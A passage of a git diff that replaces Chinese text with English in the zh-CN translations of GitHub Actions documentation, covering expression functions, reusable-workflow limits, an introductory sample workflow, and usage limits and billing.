中的所有值强制转换为字符串。 如果您提供 `optionalSeparator`，它将被插入到串联的值之间。 否则使用默认分隔符 `,`。 抛出值到字符串。 +The value for `array` can be an array or a string. All values in `array` are concatenated into a string. If you provide `optionalSeparator`, it is inserted between the concatenated values. Otherwise, the default separator `,` is used. Casts values to a string. -#### 示例 +#### Example -`join(github.event.issue.labels.*.name, ', ')` 可能返回 'bug, help wanted' +`join(github.event.issue.labels.*.name, ', ')` may return 'bug, help wanted' ### toJSON `toJSON(value)` -对 `value` 返回适合打印的 JSON 表示形式。 您可以使用此函数调试上下文中提供的信息。 +Returns a pretty-print JSON representation of `value`. You can use this function to debug the information provided in contexts. -#### 示例 +#### Example -`toJSON(job)` 可能返回 `{ "status": "Success" }` +`toJSON(job)` might return `{ "status": "Success" }` ### fromJSON `fromJSON(value)` -返回 `value` 的 JSON 对象或 JSON 数据类型。 您可以使用此函数来提供 JSON 对象作为评估表达式或从字符串转换环境变量。 +Returns a JSON object or JSON data type for `value`. You can use this function to provide a JSON object as an evaluated expression or to convert environment variables from a string. -#### 返回 JSON 对象的示例 +#### Example returning a JSON object -此工作流程在一个作业中设置 JSON矩阵，并使用输出和 `fromJSON` 将其传递到下一个作业。 +This workflow sets a JSON matrix in one job, and passes it to the next job using an output and `fromJSON`. {% raw %} ```yaml @@ -226,9 +226,9 @@ jobs: ``` {% endraw %} -#### 返回 JSON 数据类型的示例 +#### Example returning a JSON data type -此工作流程使用 `fromJSON` 将环境变量从字符串转换为布尔值或整数。 +This workflow uses `fromJSON` to convert environment variables from a string to a Boolean or integer. {% raw %} ```yaml @@ -251,31 +251,31 @@ jobs: `hashFiles(path)` -返回匹配 `path` 模式的文件集的单个哈希值。 您可以提供单一 `path` 模式，或以逗号分隔的多个 `path` 模式。 `path` 相对于 `GITHUB_WORKSPACE` 目录，只能包括 `GITHUB_WORKSPACE` 中的文件。 此函数为每个匹配的文件计算单独的 SHA-256 哈希， 然后使用这些哈希来计算文件集的最终 SHA-256 哈希。 有关 SHA-256 的更多信息，请参阅“[SHA-2](https://en.wikipedia.org/wiki/SHA-2)”。 +Returns a single hash for the set of files that matches the `path` pattern. You can provide a single `path` pattern or multiple `path` patterns separated by commas. The `path` is relative to the `GITHUB_WORKSPACE` directory and can only include files inside of the `GITHUB_WORKSPACE`. This function calculates an individual SHA-256 hash for each matched file, and then uses those hashes to calculate a final SHA-256 hash for the set of files. For more information about SHA-256, see "[SHA-2](https://en.wikipedia.org/wiki/SHA-2)." -您可以使用模式匹配字符来匹配文件名。 模式匹配在 Windows 上不区分大小写。 有关支持的模式匹配字符的更多信息，请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions/#filter-pattern-cheat-sheet)”。 +You can use pattern matching characters to match file names. Pattern matching is case-insensitive on Windows. For more information about supported pattern matching characters, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions/#filter-pattern-cheat-sheet)." -#### 单一模式示例 +#### Example with a single pattern -匹配仓库中的任何 `package-lock.json` 文件。 +Matches any `package-lock.json` file in the repository. `hashFiles('**/package-lock.json')` -#### 多个模式示例 +#### Example with multiple patterns -为仓库中的任何 `package-lock.json` 和 `Gemfile.lock` 文件创建哈希。 +Creates a hash for any `package-lock.json` and `Gemfile.lock` files in the repository. `hashFiles('**/package-lock.json', '**/Gemfile.lock')` -## 作业状态检查函数 +## Job status check functions -您可以使用以下状态检查函数作为 `if` 条件中的表达式。 除非您包含其中一个函数，否则 `success()` 的默认状态检查将会应用。 有关 `if` 条件的更多信息，请参阅“[GitHub 操作的工作流程语法](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)”。 +You can use the following status check functions as expressions in `if` conditionals. A default status check of `success()` is applied unless you include one of these functions. For more information about `if` conditionals, see "[Workflow syntax for GitHub Actions](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)." ### success -当前面的步骤没有失败或取消时返回 `true`。 +Returns `true` when none of the previous steps have failed or been canceled. -#### 示例 +#### Example ```yaml steps: @@ -286,9 +286,9 @@ steps: ### always -导致该步骤总是执行，并返回 `true`，即使取消也一样。 作业或步骤在重大故障阻止任务运行时不会运行。 例如，如果获取来源失败。 +Causes the step to always execute, and returns `true`, even when canceled. A job or step will not run when a critical failure prevents the task from running. For example, if getting sources failed. -#### 示例 +#### Example ```yaml if: {% raw %}${{ always() }}{% endraw %} @@ -296,9 +296,9 @@ if: {% raw %}${{ always() }}{% endraw %} ### cancelled -在工作流程取消时返回 `true`。 +Returns `true` if the workflow was canceled. -#### 示例 +#### Example ```yaml if: {% raw %}${{ cancelled() }}{% endraw %} @@ -306,9 +306,9 @@ if: {% raw %}${{ cancelled() }}{% endraw %} ### failure -在作业的任何之前一步失败时返回 `true`。 +Returns `true` when any previous step of a job fails. If you have a chain of dependent jobs, `failure()` returns `true` if any ancestor job fails. -#### 示例 +#### Example ```yaml steps: @@ -317,11 +317,11 @@ steps: if: {% raw %}${{ failure() }}{% endraw %} ``` -## 对象过滤器 +## Object filters -可以使用 `*` 语法应用过滤条件并从集合中选择匹配的项目。 +You can use the `*` syntax to apply a filter and select matching items in a collection. -例如，考虑名为 `fruits` 的对象数组。 +For example, consider an array of objects named `fruits`. ```json [ @@ -331,4 +331,4 @@ steps: ] ``` -过滤条件 `fruits.*.name` 返回数组 `[ "apple", "orange", "pear" ]` +The filter `fruits.*.name` returns the array `[ "apple", "orange", "pear" ]` diff --git a/translations/zh-CN/content/actions/learn-github-actions/reusing-workflows.md b/translations/zh-CN/content/actions/learn-github-actions/reusing-workflows.md index 12c0fb54f4..762284674b 100644 --- a/translations/zh-CN/content/actions/learn-github-actions/reusing-workflows.md +++ b/translations/zh-CN/content/actions/learn-github-actions/reusing-workflows.md @@ -70,6 +70,7 @@ Called workflows can access self-hosted runners from caller's context. This mean * Reusable workflows stored within a private repository can only be used by workflows within the same repository. * Any environment variables set in an `env` context defined at the workflow level in the caller workflow are not propagated to the called workflow. For more information about the `env` context, see "[Context and expression syntax for GitHub Actions](/actions/reference/context-and-expression-syntax-for-github-actions#env-context)." * You can't set the concurrency of a called workflow from the caller workflow. For more information about `jobs..concurrency`, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idconcurrency)." +* The `strategy` property is not supported in any job that calls a reusable workflow. ## Creating a reusable workflow diff --git a/translations/zh-CN/content/actions/learn-github-actions/understanding-github-actions.md b/translations/zh-CN/content/actions/learn-github-actions/understanding-github-actions.md index 62717ea97d..90de4101cd 100644 --- a/translations/zh-CN/content/actions/learn-github-actions/understanding-github-actions.md +++ b/translations/zh-CN/content/actions/learn-github-actions/understanding-github-actions.md @@ -21,55 +21,62 @@ topics: {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## 概览 +## Overview -{% data variables.product.prodname_actions %} 帮助您自动完成软件开发周期内的任务。 {% data variables.product.prodname_actions %} 是事件驱动的，意味着您可以在指定事件发生后运行一系列命令。 例如，每次有人为仓库创建拉取请求时，您都可以自动运行命令来执行软件测试脚本。 +{% data reusables.actions.about-actions %} You can create workflows that build and test every pull request to your repository, or deploy merged pull requests to production. -此示意图说明如何使用 {% data variables.product.prodname_actions %} 自动运行软件测试脚本。 事件会自动触发其中包_作业_的_工作流程_。 然后，作业使用_步骤_来控制_操作_运行的顺序。 这些操作是自动化软件测试的命令。 +{% data variables.product.prodname_actions %} goes beyond just DevOps and lets you run workflows when other events happen in your repository. For example, you can run a workflow to automatically add the appropriate labels whenever someone creates a new issue in your repository. -![工作流程概述](/assets/images/help/images/overview-actions-simple.png) +{% data variables.product.prodname_dotcom %} provides Linux, Windows, and macOS virtual machines to run your workflows, or you can host your own self-hosted runners in your own data center or cloud infrastructure. -## {% data variables.product.prodname_actions %} 的组件 +## The components of {% data variables.product.prodname_actions %} -下面是一起运行作业的多个 {% data variables.product.prodname_actions %} 组件列表。 您可以查看这些组件如何相互作用。 +You can configure a {% data variables.product.prodname_actions %} _workflow_ to be triggered when an _event_ occurs in your repository, such as a pull request being opened or an issue being created. Your workflow contains one or more _jobs_ which can run in sequential order or in parallel. Each job will run inside its own virtual machine _runner_, or inside a container, and has one or more _steps_ that either run a script that you define or run an _action_, which is a reusable extension that can simplify in your workflow. -![组件和服务概述](/assets/images/help/images/overview-actions-design.png) +![Workflow overview](/assets/images/help/images/overview-actions-simple.png) -### 工作流程 +### Workflows -工作流程是您添加到仓库的自动化过程。 工作流程由一项或多项作业组成，可以计划或由事件触发。 工作流程可用于在 {% data variables.product.prodname_dotcom %} 上构建、测试、打包、发布或部署项目。 {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}You can reference a workflow within another workflow, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."{% endif %} +A workflow is a configurable automated process that will run one or more jobs. Workflows are defined by a YAML file checked in to your repository and will run when triggered by an event in your repository, or they can be triggered manually, or at a defined schedule. -### 事件 +Your repository can have multiple workflows in a repository, each of which can perform a different set of steps. For example, you can have one workflow to build and test pull requests, another workflow to deploy your application every time a release is created, and still another workflow that adds a label every time someone opens a new issue. -事件是触发工作流程的特定活动。 例如，当有推送提交到仓库或者创建议题或拉取请求时，{% data variables.product.prodname_dotcom %} 就可能产生活动。 您还可以使用[仓库分发 web 挂钩](/rest/reference/repos#create-a-repository-dispatch-event)在发生外部事件时触发工作流程。 有关可用于触发工作流程的事件的完整列表，请参阅[触发工作流程的事件](/actions/reference/events-that-trigger-workflows)。 +{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}You can reference a workflow within another workflow, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."{% endif %} + +### Events + +An event is a specific activity in a repository that triggers a workflow run. For example, activity can originate from {% data variables.product.prodname_dotcom %} when someone creates a pull request, opens an issue, or pushes a commit to a repository. You can also trigger a workflow run on a schedule, by [posting to a REST API](/rest/reference/repos#create-a-repository-dispatch-event), or manually. + +For a complete list of events that can be used to trigger workflows, see [Events that trigger workflows](/actions/reference/events-that-trigger-workflows). ### Jobs -作业是在同一运行服务器上执行的一组步骤。 默认情况下，包含多个作业的工作流程将同时运行这些作业。 您也可以配置工作流程按顺序运行作业。 例如，工作流程可以有两个连续的任务来构建和测试代码，其中测试作业取决于构建作业的状态。 如果构建作业失败，测试作业将不会运行。 +A job is a set of _steps_ in a workflow that execute on the same runner. Each step is either a shell script that will be executed, or an _action_ that will be run. Steps are executed in order and are dependent on each other. Since each step is executed on the same runner, you can share data from one step to another. For example, you can have a step that builds your application followed by a step that tests the application that was built. -### 步骤 +You can configure a job's dependencies with other jobs; by default, jobs have no dependencies and run in parallel with each other. When a job takes a dependency on another job, it will wait for the dependent job to complete before it can run. For example, you may have multiple build jobs for different architectures that have no dependencies, and a packaging job that is dependent on those jobs. The build jobs will run in parallel, and when they have all completed successfully, the packaging job will run. -步骤是可以在作业中运行命令的单个任务。 步骤可以是_操作_或 shell 命令。 作业中的每个步骤在同一运行器上执行，可让该作业中的操作互相共享数据。 +### Actions -### 操作 +An _action_ is a custom application for the {% data variables.product.prodname_actions %} platform that performs a complex but frequently repeated task. Use an action to help reduce the amount of repetitive code that you write in your workflow files. An action can pull your git repository from {% data variables.product.prodname_dotcom %}, set up the correct toolchain for your build environment, or set up the authentication to your cloud provider. -_操作_ 是独立命令，它们组合到_步骤_以创建_作业_。 操作是工作流程最小的便携式构建块。 您可以创建自己的操作，也可以使用 {% data variables.product.prodname_dotcom %} 社区创建的操作。 要在工作流程中使用操作，必须将其作为一个步骤。 +You can write your own actions, or you can find actions to use in your workflows in the {% data variables.product.prodname_marketplace %}. -### 运行器 +### Runners -{% ifversion ghae %}运行器是安装了 [{% data variables.product.prodname_actions %} 运行器应用程序](https://github.com/actions/runner)的服务器。 对于 {% data variables.product.prodname_ghe_managed %}，您可以使用与云端实例捆绑的安全性增强的 {% data variables.actions.hosted_runner %}。 运行器将侦听可用的作业，每次运行一个作业，并将进度、日志和结果报告回 {% data variables.product.prodname_dotcom %}。 {% data variables.actions.hosted_runner %} 在新的虚拟环境中运行每个工作流程作业。 更多信息请参阅“[关于 {% data variables.actions.hosted_runner %}](/actions/using-github-hosted-runners/about-ae-hosted-runners)”。 +{% ifversion ghae %} +{% data reusables.actions.about-runners %} For {% data variables.product.prodname_ghe_managed %}, you can use the security hardened {% data variables.actions.hosted_runner %}s that are bundled with your instance in the cloud. If you need a different operating system or require a specific hardware configuration, you can host your own runners. For information on self-hosted runners, see "[Hosting your own runners](/actions/hosting-your-own-runners)." {% else %} -运行器是安装了 [{% data variables.product.prodname_actions %} 运行器应用程序](https://github.com/actions/runner)的服务器。 您可以使用 {% data variables.product.prodname_dotcom %} 托管的运行器或托管您自己的运行器。 运行器将侦听可用的作业，每次运行一个作业，并将进度、日志和结果报告回 {% data variables.product.prodname_dotcom %}。 {% data variables.product.prodname_dotcom %} 托管的运行器基于 Ubuntu Linux、Microsoft Windows 和 macOS，并且工作流程中的每个作业都在新的虚拟环境中运行。 有关 {% data variables.product.prodname_dotcom %} 托管的运行器的信息，请参阅“[关于 {% data variables.product.prodname_dotcom %} 托管的运行器](/actions/using-github-hosted-runners/about-github-hosted-runners)”。 如果您需要不同的操作系统或需要特定的硬件配置，可以托管自己的运行器。 有关自托管运行器的信息，请参阅“[托管您自己的运行器](/actions/hosting-your-own-runners)”。 +{% data reusables.actions.about-runners %} Each runner can run a single job at a time. {% data variables.product.prodname_dotcom %} provides Ubuntu Linux, Microsoft Windows, and macOS runners to run your workflows; each workflow run executes in a fresh, newly-provisioned virtual machine. If you need a different operating system or require a specific hardware configuration, you can host your own runners. For information on self-hosted runners, see "[Hosting your own runners](/actions/hosting-your-own-runners)." {% endif %} -## 创建示例工作流程 +## Create an example workflow -{% data variables.product.prodname_actions %} 使用 YAML 语法来定义事件、作业和步骤。 这些 YAML 文件存储在代码仓库中名为 `.github/workflows` 的目录中。 +{% data variables.product.prodname_actions %} uses YAML syntax to define the workflow. Each workflow is stored as a separate YAML file in your code repository, in a directory called `.github/workflows`. -您可以在仓库中创建示例工作流程，只要推送代码，该工作流程就会自动触发一系列命令。 在此工作流程中，{% data variables.product.prodname_actions %} 检出推送的代码，安装软件依赖项，并运行 `-v`。 +You can create an example workflow in your repository that automatically triggers a series of commands whenever code is pushed. In this workflow, {% data variables.product.prodname_actions %} checks out the pushed code, installs the software dependencies, and runs `bats -v`. -1. 在您的仓库中，创建 `.github/workflows/` 目录来存储工作流程文件。 -1. 在 `.github/workflows/` 目录中，创建一个名为 `learn-github-actions.yml` 的新文件并添加以下代码。 +1. In your repository, create the `.github/workflows/` directory to store your workflow files. +1. In the `.github/workflows/` directory, create a new file called `learn-github-actions.yml` and add the following code. ```yaml name: learn-github-actions on: [push] @@ -84,13 +91,13 @@ _操作_ 是独立命令，它们组合到_步骤_以创建_作业_。 操作是 - run: npm install -g bats - run: bats -v ``` -1. 提交这些更改并将其推送到您的 {% data variables.product.prodname_dotcom %} 仓库。 +1. Commit these changes and push them to your {% data variables.product.prodname_dotcom %} repository. -您的新 {% data variables.product.prodname_actions %} 工作流程文件现在安装在您的仓库中，每次有人推送更改到仓库时都会自动运行。 有关作业的执行历史记录的详细信息，请参阅“[查看工作流程的活动](/actions/learn-github-actions/introduction-to-github-actions#viewing-the-jobs-activity)”。 +Your new {% data variables.product.prodname_actions %} workflow file is now installed in your repository and will run automatically each time someone pushes a change to the repository. For details about a job's execution history, see "[Viewing the workflow's activity](/actions/learn-github-actions/introduction-to-github-actions#viewing-the-jobs-activity)." -## 了解工作流程文件 +## Understanding the workflow file -为帮助您了解如何使用 YAML 语法来创建工作流程文件，本节解释介绍示例的每一行： +To help you understand how YAML syntax is used to create a workflow file, this section explains each line of the introduction's example: @@ -101,7 +108,7 @@ _操作_ 是独立命令，它们组合到_步骤_以创建_作业_。 操作是 ``` @@ -112,7 +119,7 @@ _操作_ 是独立命令，它们组合到_步骤_以创建_作业_。 操作是 ``` @@ -123,7 +130,7 @@ _操作_ 是独立命令，它们组合到_步骤_以创建_作业_。 操作是 ``` @@ -134,7 +141,7 @@ _操作_ 是独立命令，它们组合到_步骤_以创建_作业_。 操作是 ``` @@ -145,7 +152,7 @@ _操作_ 是独立命令，它们组合到_步骤_以创建_作业_。 操作是 ``` @@ -156,7 +163,7 @@ _操作_ 是独立命令，它们组合到_步骤_以创建_作业_。 操作是 ``` @@ -167,7 +174,7 @@ _操作_ 是独立命令，它们组合到_步骤_以创建_作业_。 操作是 ``` @@ -180,7 +187,7 @@ _操作_ 是独立命令，它们组合到_步骤_以创建_作业_。 操作是 ``` @@ -191,7 +198,7 @@ _操作_ 是独立命令，它们组合到_步骤_以创建_作业_。 操作是 ``` @@ -202,42 +209,49 @@ _操作_ 是独立命令，它们组合到_步骤_以创建_作业_。 操作是 ```
                    - 可选 - 将出现在 {% data variables.product.prodname_dotcom %} 仓库的 Actions（操作）选项卡中的工作流程名称。 + Optional - The name of the workflow as it will appear in the Actions tab of the {% data variables.product.prodname_dotcom %} repository.
                    - 指定自动触发工作流程文件的事件。 此示例使用 push 事件，这样每次有人推送更改到仓库时，作业都会运行。 您可以设置工作流程仅在特定分支、路径或标记上运行。 有关包含或排除分支、路径或标记的语法示例，请参阅“{% data variables.product.prodname_actions %} 的工作流程语法”。 +Specifies the trigger for this workflow. This example uses the push event, so a workflow run is triggered every time someone pushes a change to the repository or merges a pull request. This is triggered by a push to every branch; for examples of syntax that runs only on pushes to specific branches, paths, or tags, see "Workflow syntax for {% data variables.product.prodname_actions %}."
                    - 将 learn-github-actions 工作流程文件中运行的所有作业组合在一起。 + Groups together all the jobs that run in the learn-github-actions workflow.
                    - 定义存储在 jobs 部分的 check-bats-version 作业的名称。 +Defines a job named check-bats-version. The child keys will define properties of the job.
                    - 配置作业在 Ubuntu Linux 运行器上运行。 这意味着该作业将在 GitHub 托管的新虚拟机上执行。 有关使用其他运行器的语法示例，请参阅“{% data variables.product.prodname_actions %} 的工作流程语法”。 + Configures the job to run on the latest version of an Ubuntu Linux runner. This means that the job will execute on a fresh virtual machine hosted by GitHub. For syntax examples using other runners, see "Workflow syntax for {% data variables.product.prodname_actions %}."
                    - 将 check-bats-version 作业中运行的所有步骤组合在一起。 此部分下嵌套的每项都是一个单独的操作或 shell 命令。 + Groups together all the steps that run in the check-bats-version job. Each item nested under this section is a separate action or shell script.
                    - uses 关键字指示作业检索名为 actions/checkout@v2 的社区操作的 v2。 这是检出仓库并将其下载到运行器的操作，允许针对您的代码运行操作（例如测试工具）。 只要工作流程针对仓库的代码运行，或者您使用仓库中定义的操作，您都必须使用检出操作。 +The uses keyword specifies that this step will run v2 of the actions/checkout action. This is an action that checks out your repository onto the runner, allowing you to run scripts or other actions against your code (such as build and test tools). You should use the checkout action any time your workflow will run against the repository's code.
                    - This step uses the actions/setup-node@v2 action to install the specified version of the node software package on the runner, which gives you access to the npm command. + This step uses the actions/setup-node@v2 action to install the specified version of the Node.js (this example uses v14). This puts both the node and npm commands in your PATH.
                    - run 关键字指示作业在运行器上执行命令。 在这种情况下，使用 npm 来安装 bats 软件测试包。 + The run keyword tells the job to execute a command on the runner. In this case, you are using npm to install the bats software testing package.
                    - 最后，您将运行 bats 命令，并且带有输出软件版本的参数。 + Finally, you'll run the bats command with a parameter that outputs the software version.
                    -### 可视化工作流程文件 +### Visualizing the workflow file -在此关系图中，您可以看到刚刚创建的工作流程文件，以及 {% data variables.product.prodname_actions %} 组件在层次结构中的组织方式。 每个步骤执行单个操作或 shell 命令。 步骤 1 和 2 使用预构建的社区操作。 步骤 3 和 4 直接在运行器上运行 shell 命令。 要查找更多为工作流预构建的操作，请参阅“[查找和自定义操作](/actions/learn-github-actions/finding-and-customizing-actions)”。 +In this diagram, you can see the workflow file you just created and how the {% data variables.product.prodname_actions %} components are organized in a hierarchy. Each step executes a single action or shell script. Steps 1 and 2 run actions, while steps 3 and 4 run shell scripts. To find more prebuilt actions for your workflows, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)." -![工作流程概述](/assets/images/help/images/overview-actions-event.png) +![Workflow overview](/assets/images/help/images/overview-actions-event.png) -## 查看作业的活动 +## Viewing the workflow's activity -作业开始运行后，您可以 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}查看运行进度的可视化图{% endif %}以及查看 {% data variables.product.prodname_dotcom %} 上每个步骤的活动。 +Once your workflow has started running, you can {% ifversion fpt or ghes > 3.0 or ghae or ghec %}see a visualization graph of the run's progress and {% endif %}view each step's activity on {% data variables.product.prodname_dotcom %}. {% data reusables.repositories.navigate-to-repo %} -1. 在仓库名称下，单击 **Actions（操作）**。 ![导航到仓库](/assets/images/help/images/learn-github-actions-repository.png) -1. 在左侧边栏中，单击您想要查看的工作流程。 ![工作流程结果的屏幕截图](/assets/images/help/images/learn-github-actions-workflow.png) -1. 在“Workflow runs（工作流程运行）”下，单击您想要查看的运行的名称。 ![工作流程运行的屏幕截图](/assets/images/help/images/learn-github-actions-run.png) +1. Under your repository name, click **Actions**. + ![Navigate to repository](/assets/images/help/images/learn-github-actions-repository.png) +1. In the left sidebar, click the workflow you want to see. + ![Screenshot of workflow results](/assets/images/help/images/learn-github-actions-workflow.png) +1. Under "Workflow runs", click the name of the run you want to see. + ![Screenshot of workflow runs](/assets/images/help/images/learn-github-actions-run.png) {% ifversion fpt or ghes > 3.0 or ghae or ghec %} -1. 在 **Jobs（作业）**下或可视化图中，单击您要查看的作业。 ![选择作业](/assets/images/help/images/overview-actions-result-navigate.png) +1. Under **Jobs** or in the visualization graph, click the job you want to see. + ![Select job](/assets/images/help/images/overview-actions-result-navigate.png) {% endif %} {% ifversion fpt or ghes > 3.0 or ghae or ghec %} -1. 查看每个步骤的结果。 ![工作流程运行详细信息的屏幕截图](/assets/images/help/images/overview-actions-result-updated-2.png) +1. View the results of each step. + ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result-updated-2.png) {% elsif ghes %} -1. 单击作业名称以查看每个步骤的结果。 ![工作流程运行详细信息的屏幕截图](/assets/images/help/images/overview-actions-result-updated.png) +1. Click on the job name to see the results of each step. + ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result-updated.png) {% else %} -1. 单击作业名称以查看每个步骤的结果。 ![工作流程运行详细信息的屏幕截图](/assets/images/help/images/overview-actions-result.png) +1. Click on the job name to see the results of each step. + ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result.png) {% endif %} -## 后续步骤 +## Next steps -要继续了解 {% data variables.product.prodname_actions %}，请参阅“[查找和自定义操作](/actions/learn-github-actions/finding-and-customizing-actions)”。 +To continue learning about {% data variables.product.prodname_actions %}, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)." To understand how billing works for {% data variables.product.prodname_actions %}, see "[About billing for {% data variables.product.prodname_actions %}](/actions/reference/usage-limits-billing-and-administration#about-billing-for-github-actions)". -## 联系支持 +## Contacting support {% data reusables.github-actions.contacting-support %} diff --git a/translations/zh-CN/content/actions/learn-github-actions/usage-limits-billing-and-administration.md b/translations/zh-CN/content/actions/learn-github-actions/usage-limits-billing-and-administration.md index 7d1d096eff..73c64d5af4 100644 --- a/translations/zh-CN/content/actions/learn-github-actions/usage-limits-billing-and-administration.md +++ b/translations/zh-CN/content/actions/learn-github-actions/usage-limits-billing-and-administration.md @@ -1,6 +1,6 @@ --- -title: 使用限制、计费和管理 -intro: '{% data variables.product.prodname_actions %} 工作流程有使用限制。 使用费适用于超出仓库免费分钟数和存储空间量的仓库。' +title: 'Usage limits, billing, and administration' +intro: 'There are usage limits for {% data variables.product.prodname_actions %} workflows. Usage charges apply to repositories that go beyond the amount of free minutes and storage for a repository.' redirect_from: - /actions/getting-started-with-github-actions/usage-and-billing-information-for-github-actions - /actions/reference/usage-limits-billing-and-administration @@ -11,91 +11,93 @@ versions: ghec: '*' topics: - Billing -shortTitle: 工作流程计费和限制 +shortTitle: Workflow billing & limits --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## 关于 {% data variables.product.prodname_actions %} 的计费 +## About billing for {% data variables.product.prodname_actions %} {% ifversion fpt or ghec %} -{% data reusables.github-actions.actions-billing %} 更多信息请参阅“[关于 {% data variables.product.prodname_actions %} 的计费](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)”。 +{% data reusables.github-actions.actions-billing %} For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)." {% else %} GitHub Actions usage is free for {% data variables.product.prodname_ghe_server %}s that use self-hosted runners. {% endif %} -## 可用性 +## Availability {% data variables.product.prodname_actions %} is available on all {% data variables.product.prodname_dotcom %} products, but {% data variables.product.prodname_actions %} is not available for private repositories owned by accounts using legacy per-repository plans. {% data reusables.gated-features.more-info %} -## 使用限制 +## Usage limits {% ifversion fpt or ghec %} -There are some limits on {% data variables.product.prodname_actions %} usage when using {% data variables.product.prodname_dotcom %}-hosted runners. 这些限制可能会有变动。 +There are some limits on {% data variables.product.prodname_actions %} usage when using {% data variables.product.prodname_dotcom %}-hosted runners. These limits are subject to change. {% note %} -**注：**对于自托管的运行器，适用不同的使用限制。 更多信息请参阅“[关于自托管运行器](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)”。 +**Note:** For self-hosted runners, different usage limits apply. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)." {% endnote %} -- **作业执行时间** - 工作流程中的每个作业最多可以运行 6 个小时。 如果作业达到此限制，该作业将会终止而无法完成。 +- **Job execution time** - Each job in a workflow can run for up to 6 hours of execution time. If a job reaches this limit, the job is terminated and fails to complete. {% data reusables.github-actions.usage-workflow-run-time %} {% data reusables.github-actions.usage-api-requests %} -- **并发作业** - 您的帐户中可并发运行的作业数量，具体取决于您的 GitHub 计划，如下表所示。 如果超出，任何额外的作业都会排队。 +- **Concurrent jobs** - The number of concurrent jobs you can run in your account depends on your GitHub plan, as indicated in the following table. If exceeded, any additional jobs are queued. - | GitHub 计划 | 同时运行的作业总数 | MacOS 作业同时运行的最大数量 | - | --------- | --------- | ----------------- | - | 免费 | 20 | 5 | - | Pro | 40 | 5 | - | 团队 | 60 | 5 | - | 企业 | 180 | 50 | -- **作业矩阵** - {% data reusables.github-actions.usage-matrix-limits %} + | GitHub plan | Total concurrent jobs | Maximum concurrent macOS jobs | + |---|---|---| + | Free | 20 | 5 | + | Pro | 40 | 5 | + | Team | 60 | 5 | + | Enterprise | 180 | 50 | +- **Job matrix** - {% data reusables.github-actions.usage-matrix-limits %} {% data reusables.github-actions.usage-workflow-queue-limits %} {% else %} -使用限制适用于自托管运行器。 更多信息请参阅“[关于自托管运行器](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)”。 +Usage limits apply to self-hosted runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)." {% endif %} {% ifversion fpt or ghec %} -## 使用策略 +## Usage policy -除了使用限制外，还必须确保使用 [GitHub 服务条款](/free-pro-team@latest/github/site-policy/github-terms-of-service/) 中的 {% data variables.product.prodname_actions %}。 有关 {% data variables.product.prodname_actions %} 特定条款的更多信息，请参阅 [GitHub 附加产品条款](/free-pro-team@latest/github/site-policy/github-additional-product-terms#a-actions-usage)。 +In addition to the usage limits, you must ensure that you use {% data variables.product.prodname_actions %} within the [GitHub Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service/). For more information on {% data variables.product.prodname_actions %}-specific terms, see the [GitHub Additional Product Terms](/free-pro-team@latest/github/site-policy/github-additional-product-terms#a-actions-usage). {% endif %} {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %} ## Billing for reusable workflows -If you reuse a workflow, billing is always associated with the caller workflow. For more information see, "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." +If you reuse a workflow, billing is always associated with the caller workflow. Assignment of {% ifversion fpt or ghes or ghec %}{% data variables.product.prodname_dotcom %}-hosted runners{% endif %}{% ifversion ghae %}{% data variables.actions.hosted_runner %}s{% endif %} is always evaluated using only the caller's context. The caller cannot use {% ifversion fpt or ghes or ghec %}{% data variables.product.prodname_dotcom %}-hosted runners{% endif %}{% ifversion ghae %}{% data variables.actions.hosted_runner %}s{% endif %} from the called repository. + +For more information see, "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." {% endif %} -## 构件和日志保留策略 +## Artifact and log retention policy -您可以为仓库、组织或企业帐户配置构件和日志保留期。 +You can configure the artifact and log retention period for your repository, organization, or enterprise account. {% data reusables.actions.about-artifact-log-retention %} -更多信息请参阅： +For more information, see: -- “[管理仓库的 {% data variables.product.prodname_actions %} 设置](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)” -- “[配置 {% data variables.product.prodname_actions %} 构件和日志在您的组织中的保留期](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization)” -- "[在企业中执行 {% data variables.product.prodname_actions %} 的策略](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)" +- "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)" +- "[Configuring the retention period for {% data variables.product.prodname_actions %} for artifacts and logs in your 